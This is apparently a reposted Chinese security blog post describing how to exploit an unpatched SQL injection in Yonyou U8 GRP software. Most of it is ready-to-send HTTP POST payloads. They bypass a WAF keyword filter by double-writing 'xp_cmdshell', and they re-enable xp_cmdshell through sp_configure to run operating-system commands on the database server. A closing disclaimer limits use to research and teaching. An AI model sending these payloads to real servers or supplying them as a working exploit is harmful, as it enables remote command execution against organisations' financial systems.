红队攻防经常遇到用友XXE SQL注入xp_cmdshell被过滤。
由于该洞(CNNVD-201610-923)并没有补丁,毕竟用友是去年才有的应急响应中心。
xp_cmdshell执行会被过滤,双引号会被实体化。
利用WAF过滤xp_cmdshell关键词特性,双写绕过即可。
payload:
POST /Proxy HTTP/1.1
Accept: *
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)
Host:
Content-type: application/x-www-form-urlencoded
Content-Length: 349
Connection: close
cVer=9.8.0&dp=<R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format="text">exec xp_xp_cmdshellcmdshell 'ipconfig'</DATA></PARAM></PARAMS> </R9FUNCTION></R9PACKET>
如果xp_cmdshell没有开启,可使用下面操作:
判断xp_cmdshell是否开启,1为打开,0为关闭
select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
将如下POST数据按顺序发送(注意 master 改为当前数据库名
)
cVer=9.8.0&dp=<R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">use master</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'show advanced options',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'xp_cmdshell',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
cVer=9.8.0&dp=<R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
原文始发于微信公众号(浪飒sec):用友U8 GRP SQL注入xp_cmdshell过滤绕过
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论